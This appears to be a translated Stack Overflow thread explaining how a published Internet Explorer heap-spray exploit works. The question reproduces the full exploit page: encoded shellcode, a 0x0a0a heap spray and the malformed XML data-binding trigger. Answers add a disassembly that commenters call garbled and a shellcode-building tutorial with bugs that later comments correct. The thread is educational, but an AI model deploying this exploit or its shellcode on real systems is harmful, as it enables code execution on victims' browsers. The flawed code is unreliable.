Como essa exploração de pulverização de pilha milw0rm funciona?


145

Normalmente não tenho dificuldade para ler o código JavaScript, mas neste caso não consigo descobrir a lógica. O código é de uma exploração publicada há 4 dias. Você pode encontrá-lo em milw0rm .

Aqui está o código:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Aqui está o que eu acredito que ele faz e eu gostaria que você me ajudasse na parte que eu entendi errado.

A variável shellcodecontém o código para abrir o arquivo calc.exe. Eu não entendo como eles encontraram essa corda estranha. Qualquer ideia?

A segunda coisa é a variável spray. Eu não entendo esse loop estranho.

A terceira coisa é a variável memoryque nunca é usada em lugar nenhum. Por que eles criam isso?

Última coisa: o que a tag XML faz na página?


No momento, tenho boas respostas, mas principalmente respostas muito gerais. Eu gostaria de mais explicações sobre o valor do código. Um exemplo é unescape("%u0a0a%u0a0a");. O que isso significa? A mesma coisa para o loop: por que o desenvolvedor escreveu length < 0xd0000:? Eu gostaria de uma compreensão mais profunda, não apenas da teoria deste código.


Você deve procurar no Heap Spraying: en.wikipedia.org/wiki/Heap_spraying
BobbyShaftoe

Como executamos essa exploração com êxito? Temos que executá-lo no IE?
bad_keypoints

Respostas:


320

O shellcode contém algumas instruções de montagem x86 que farão a exploração real. spraycria uma longa sequência de instruções que serão inseridas memory. Como geralmente não podemos descobrir a localização exata do nosso código de shell na memória, colocamos muitas nopinstruções antes dele e pulamos para algum lugar lá. A memorymatriz manterá o código x86 real junto com o mecanismo de salto. Vamos alimentar o XML criado para a biblioteca que possui um bug. Quando está sendo analisado, o bug fará com que o registro do ponteiro de instruções seja atribuído a algum lugar de nossa exploração, levando à execução arbitrária de código.

Para entender mais profundamente, você deve descobrir o que está no código x86. unscapeserá usado para colocar a sequência de bytes representada da string na sprayvariável É um código x86 válido que preenche grande parte da pilha e salta para o início do shellcode. O motivo da condição final são as limitações de comprimento da cadeia de caracteres do mecanismo de script. Você não pode ter cadeias maiores que um comprimento específico.

Na montagem x86, 0a0arepresenta or cl, [edx]. Isso é efetivamente equivalente a nopinstruções para os propósitos de nossa exploração. Onde quer que pularmos no spray, chegaremos à próxima instrução até chegarmos ao código de shell, que é o código que realmente queremos executar.

Se você olhar para o XML, verá 0x0a0atambém. A descrição exata do que acontece exige conhecimento específico da exploração (você precisa saber onde está o erro e como ele é explorado, o que eu não sei). No entanto, parece que forçamos o Internet Explorer a acionar o código de buggy, definindo a innerHtmlstring XML maliciosa. O Internet Explorer tenta analisá-lo e o código de buggy, de alguma forma, controla um local de memória em que a matriz existe (já que é um pedaço grande, a probabilidade de saltar para lá é alta). Quando pularmos para lá, a CPU continuará executando as or cl, [edx]instruções até chegar ao início do código de shell que é colocado na memória.

Eu desmontei o código da shell:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

A compreensão desse código de shell requer conhecimento de montagem x86 e o ​​problema na própria biblioteca da MS (para saber qual é o estado do sistema quando chegamos aqui), não JavaScript! Este código, por sua vez, será executado calc.exe.


13
Agradeço este esforço de você por esta explicação. +25 reputações e todo o meu respeito. Obrigado
Patrick Desjardins

20
grande resposta, mas bom senhor - de repente eu não sou bom com o computador ;-)
nome de usuário

50
Estou impressionado com as pessoas que conseguem criar esse tipo de façanha. Se eles são espertos o suficiente para invadir a conta bancária de alguém com isso, eles merecem todo o dinheiro que podem roubar;) #
Martin

8
Se houvesse um santuário de boas respostas para o SO, isso estaria nele.
1911 San

6
A desmontagem parece absurda e completamente aleatória. Isso não pode estar certo. Eu tentei trocar bytes, assumindo que os caracteres em uma string fossem armazenados em little-endian, mas não ajudou.
Juho Östman 17/11/10

10

Parece uma exploração do bug recente do Internet Explorer para o qual a Microsoft lançou o patch de emergência. Ele usa uma falha no recurso de ligação de dados do manipulador XML da Microsoft, que faz com que a memória heap seja desalocada incorretamente.

Shellcode é um código de máquina que será executado quando o bug ocorrer. Spray e memória são apenas algum espaço alocado no heap para ajudar a ocorrer a condição de exploração.


Você acha que algumas dessas coisas podem acontecer com as extensões do Chrome?
bad_keypoints


2

Sempre que vejo memória que não é abordada em uma discussão de exploração, meu primeiro pensamento é que a exploração é algum tipo de estouro de buffer; nesse caso, a memória está causando o estouro do buffer ou sendo acessada quando o buffer está cheio .


Nesse caso, não houve corrupção de heap, saturação de buffer baseada em heap ou saturação de buffer com base em pilha: blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx
Grant Wagner



0

Exemplo simples de shellcode

Olá mundo em assembly na & t sintaxe x86 eu acredito (Assistente em Treinamento).

configure o arquivo:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

compile assim:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Agora você tem um binário que imprime olá mundo. para converter o binário em código de shell, digite:objdump -D shellcode

você obterá a saída:

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

Agora, se você olhar na quarta linha com o texto, verá: 400078: eb 1a jmp 0x400094

a parte que diz eb 1aé a representação hexadecimal da instrução de montagem em jmp oneque "one" é o endereço de memória da sua string.

Para preparar seu shellcode para execução, abra outro arquivo de texto e armazene os valores hexadecimais em uma matriz de caracteres. Para formatar o código do shell corretamente, digite a \xantes de cada valor hexadecimal.

o próximo exemplo de código do shell será semelhante ao seguinte, de acordo com a saída do comando objdump:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

Este exemplo usa C para a matriz. Agora você tem um código de shell que irá escrever no stdout "olá mundo"

você pode testar o código do shell colocando-o em uma vulnerabilidade ou pode escrever o seguinte programa c para testá-lo:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

Para compilar o programa, digite:

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

correr com ./run Você sabe que tem um exemplo de trabalho de desenvolvimento shellcode simples que foi testado no Linux Mint / debian.


1
Não use a int 0x80ABI de 32 bits no código de 64 bits. Ele falhará nas seqüências de caracteres na pilha, porque o kernel apenas analisa os 32 bits baixos dos argumentos do syscall. O que acontece se você usar a ABI int 0x80 Linux de 32 bits no código de 64 bits? . (Nesse caso, você criaria um loop infinito, porque sys_writeretornaria -EFAULTe mov $1, %aldeixaria os bits superiores definidos, para obter em -ENOSYSvez de sys_exit). Além disso, no código de 64 bits, você pode simplesmente jmpencaminhar a string e usar um parente do RIP leapara obter o endereço, em vez de chamar / pop.
Peter Cordes

1
Isso também falhará para o gcc que cria executáveis ​​PIE por padrão, porque mesmo sua matriz de char de armazenamento estático estará fora dos 32 bits baixos. (E BTW, se fosse const char payload[], então seria no segmento de texto (na seção .rodata) e você não precisa -z execstack.)
Peter Cordes

1
Além disso, movl 4, %raxcontém um byte zero (e não será montado devido à incompatibilidade do tamanho do operando e falta um, $portanto o 4 é um endereço absoluto). Acho que você postou uma versão inicial da sua fonte. Meus comentários anteriores são sobre a desmontagem na qual você adicionou uma sys_exitchamada.
Peter Cordes
Ao utilizar nosso site, você reconhece que leu e compreendeu nossa Política de Cookies e nossa Política de Privacidade.
Licensed under cc by-sa 3.0 with attribution required.